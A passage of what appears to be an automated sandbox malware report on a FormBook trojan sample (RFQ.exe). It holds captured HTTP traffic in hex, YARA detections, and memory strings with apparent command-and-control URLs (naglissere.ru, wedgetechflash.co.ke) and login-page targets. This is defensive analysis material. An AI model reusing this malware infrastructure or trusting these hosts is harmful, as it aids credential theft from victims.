20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:02:48 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ddos-guardConnection: closeSet-Cookie: __ddg1_=7nERBm9qcGQS1BK4u13e; Domain=.naglissere.ru; HttpOnly; Path=/; Expires=Wed, 16-Apr-2025 10:02:54 GMTDate: Tue, 16 Apr 2024 10:02:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 340Last-Modified: Tue, 29 May 2018 17:41:27 GMTETag: "154-56d5bbe607fc0"Accept-Ranges: bytesX-Frame-Options: SAMEORIGINData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ddos-guardConnection: closeSet-Cookie: __ddg1_=kegewplNQENTSIE1Q7qY; Domain=.naglissere.ru; HttpOnly; Path=/; Expires=Wed, 16-Apr-2025 10:02:56 GMTDate: Tue, 16 Apr 2024 10:02:55 GMTContent-Type: text/html; charset=UTF-8Content-Length: 340Last-Modified: Tue, 29 May 2018 17:41:27 GMTETag: "154-56d5bbe607fc0"Accept-Ranges: bytesX-Frame-Options: SAMEORIGINData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ddos-guardConnection: closeSet-Cookie: __ddg1_=0uihN83ZkchmiEoJtwrf; Domain=.naglissere.ru; HttpOnly; Path=/; Expires=Wed, 16-Apr-2025 10:02:59 GMTDate: Tue, 16 Apr 2024 10:02:58 GMTContent-Type: text/html; charset=UTF-8Content-Length: 340Last-Modified: Tue, 29 May 2018 17:41:27 GMTETag: "154-56d5bbe607fc0"Accept-Ranges: bytesX-Frame-Options: SAMEORIGINData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ddos-guardConnection: closeSet-Cookie: __ddg1_=FsLO3Xo3enk5xsnyCzPb; Domain=.naglissere.ru; HttpOnly; Path=/; Expires=Wed, 16-Apr-2025 10:03:02 GMTDate: Tue, 16 Apr 2024 10:03:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 340Last-Modified: Tue, 29 May 2018 17:41:27 GMTETag: "154-56d5bbe607fc0"X-Frame-Options: SAMEORIGINData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 16 Apr 2024 10:03:19 GMTserver: LiteSpeedvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f
Source: RFQ.exe, 00000000.00000002.2009924751.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: icacls.exe, 00000008.00000002.4432678458.00000000050E6000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003DE6000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://wedgetechflash.co.ke/bnz5/?gr=1jaEnVPJQbBr8WwKNEfMHYGZjhye5aSOWdurwFccCTE0UU1/
Source: KdNqCjDpwdLOuI.exe, 0000000A.00000002.4433484681.00000000050AF000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.naglissere.ru
Source: KdNqCjDpwdLOuI.exe, 0000000A.00000002.4433484681.00000000050AF000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.naglissere.ru/bnz5/
Source: icacls.exe, 00000008.00000002.4432678458.000000000572E000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.000000000442E000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.searchvity.com/
Source: icacls.exe, 00000008.00000002.4432678458.000000000572E000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.000000000442E000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.searchvity.com/?dn=
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: icacls.exe, 00000008.00000002.4432678458.0000000004C30000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003930000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap-icons
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://code.jquery.com/jquery-3.4.1.min.js
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com/css2?family=Heebo:wght
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fonts.gstatic.com
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://htmlcodex.com
Source: icacls.exe, 00000008.00000002.4432678458.0000000004DC2000.00000004.10000000.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431977978.0000000003AC2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://htmlcodex.com/credit-removal
Source: icacls.exe, 00000008.00000002.4431220100.00000000032B0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: icacls.exe, 00000008.00000002.4431220100.00000000032B0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: icacls.exe, 00000008.00000002.4431220100.00000000032B0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: icacls.exe, 00000008.00000002.4431220100.00000000032B0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033h
Source: icacls.exe, 00000008.00000002.4431220100.00000000032B0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: icacls.exe, 00000008.00000002.4431220100.00000000032DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: icacls.exe, 00000008.00000003.2333207064.000000000822F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: icacls.exe, 00000008.00000002.4434649977.00000000082F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 5.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2157037276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2157544338.0000000001920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432058562.0000000003690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432005342.0000000003650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4433484681.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4431071745.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2158404724.0000000002750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4431863732.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 5.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 5.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2157037276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2157544338.0000000001920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4432058562.0000000003690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4432005342.0000000003650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.4433484681.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4431071745.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2158404724.0000000002750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
